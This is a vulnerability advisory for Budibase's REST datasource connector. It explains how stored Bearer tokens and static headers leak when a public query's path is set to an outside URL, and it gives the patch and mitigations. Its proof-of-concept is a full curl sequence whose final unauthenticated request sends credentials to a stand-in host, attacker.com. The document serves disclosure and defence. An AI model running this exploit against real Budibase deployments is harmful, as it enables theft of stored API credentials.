criticalJul 24, 2026

Budibase REST Datasource Unauthenticated Credential Theft via Cross-Origin Query Path

Rohit Hatagale
AI Security Researcher, SecureLayer7

A design flaw in Budibase's REST connector lets any anonymous visitor redirect a published query to an attacker-controlled server, causing Budibase to forward the datasource's stored Bearer tokens…

Package@budibase/server
Ecosystemnpm
Affected<= 3.38.1
Budibase REST Datasource Unauthenticated Credential Theft via Cross-Origin Query Path

The problem

In packages/server/src/integrations/rest.ts, _req() builds auth headers from the datasource's stored credentials and merges them into every outbound request before the final URL is resolved. getUrl() then checks whether the parameter-enriched path starts with http; if it does, that value becomes the absolute request URL, discarding the configured base URL entirely.

No comparison is ever made between the resolved request host and the datasource's base host. Because a query can be published at the PUBLIC role, the execute endpoint POST /api/v2/queries/:queryId is reachable with zero authentication. One unauthenticated request is all it takes to exfiltrate Bearer tokens, Basic auth, and any static headers configured on the datasource, all of which are otherwise masked as --secret-value-- everywhere in the Budibase UI and API.

Proof of concept

A working proof-of-concept for this issue in @budibase/server, with the exact payload below.

bash
# Step 1: (authenticated builder) create a REST datasource with stored Bearer token
DSID=$(curl -s -X POST "https://<tenant>.budibase.app/api/datasources" \
  -H "Cookie: budibase:auth=<session>" \
  -H "x-csrf-token: <csrf>" \
  -H "x-budibase-app-id: <dev-app-id>" \
  -H "Content-Type: application/json" \
  -d '{"datasource":{"name":"poc-rest","source":"REST","type":"datasource","config":{"url":"https://example.org","authConfigs":[{"_id":"ac1","name":"tok","type":"bearer","config":{"token":"SECRET_TOKEN"}}],"defaultHeaders":{"X-Static-Secret":"SECRET_HEADER"}}},"fetchSchema":false,"tablesFilter":[]}' \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['datasource']['_id'])")

# Step 2: create a query whose path is a free parameter
QID=$(curl -s -X POST "https://<tenant>.budibase.app/api/queries" \
  -H "Cookie: budibase:auth=<session>" \
  -H "x-csrf-token: <csrf>" \
  -H "x-budibase-app-id: <dev-app-id>" \
  -H "Content-Type: application/json" \
  -d "{\"datasourceId\":\"$DSID\",\"name\":\"pocq\",\"parameters\":[{\"name\":\"t\",\"default\":\"\"}],\"fields\":{\"path\":\"{{ t }}\",\"bodyType\":\"none\",\"authConfigId\":\"ac1\",\"authConfigType\":\"bearer\"},\"queryVerb\":\"read\",\"transformer\":\"return data\",\"schema\":{},\"readable\":true}" \
  | python3 -c "import sys,json;print(json.load(sys.stdin)['_id'])")

# Step 3: publish query at PUBLIC role and publish app
curl -s -X POST "https://<tenant>.budibase.app/api/permission/PUBLIC/$QID/write" \
  -H "Cookie: budibase:auth=<session>" -H "x-csrf-token: <csrf>" \
  -H "x-budibase-app-id: <dev-app-id>" -H "Content-Type: application/json" >/dev/null
curl -s -X POST "https://<tenant>.budibase.app/api/permission/PUBLIC/$QID/read" \
  -H "Cookie: budibase:auth=<session>" -H "x-csrf-token: <csrf>" \
  -H "x-budibase-app-id: <dev-app-id>" -H "Content-Type: application/json" >/dev/null
curl -s -X POST "https://<tenant>.budibase.app/api/applications/<dev-app-id>/publish" \
  -H "Cookie: budibase:auth=<session>" -H "x-csrf-token: <csrf>" \
  -H "x-budibase-app-id: <dev-app-id>" -H "Content-Type: application/json" >/dev/null

# Step 4: UNAUTHENTICATED exploit — no cookie, no session
# Budibase forwards Authorization: Bearer SECRET_TOKEN to attacker-controlled host
curl -s -X POST "https://<tenant>.budibase.app/api/v2/queries/$QID" \
  -H "x-budibase-app-id: <prod-app-id>" \
  -H "Content-Type: application/json" \
  -d '{"parameters":{"t":"https://attacker.com/collect"}}'

# attacker.com receives:
# Authorization: Bearer SECRET_TOKEN
# X-Static-Secret: SECRET_HEADER

The root cause is an ordering problem in rest.ts: auth headers are assembled from the datasource config and merged into the request unconditionally, then getUrl() resolves the final destination. Because an absolute URL in the path field (after Handlebars parameter expansion) overrides the datasource base URL, the host can be anything the caller supplies.

There is no post-resolution check comparing new URL(resolvedUrl).hostname against new URL(datasource.config.url).hostname, so credentials always travel to whatever host the attacker specified.

The patch (commit 8b1bca71501b11c68310351ef4f2c3028b2d5f08, PR #19239) adds exactly that same-origin enforcement: after URL resolution, the resolved host is compared to the datasource base host, and stored credentials are stripped from the request if the hosts differ.

This is CWE-359 (Exposure of Private Personal Information) / CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor). The bypass of GHSA-3gp5 is confirmed: that earlier fix blocked base-URL rewriting but left the query-path vector intact and unauthenticated.

The fix

Upgrade @budibase/server to version 3.40.1 or later. The fix is in commit 8b1bca71501b11c68310351ef4f2c3028b2d5f08 (PR #19239): rest.ts now enforces a strict same-origin check after URL resolution and drops stored auth headers when the resolved request host does not match the datasource base host.

If immediate upgrade is not possible, remove the PUBLIC role from any query that uses a parameter-driven path field, or remove stored auth from any datasource whose queries are publicly accessible.

Reported by hasinosec.

References: [1][2][3][4][5]

Related research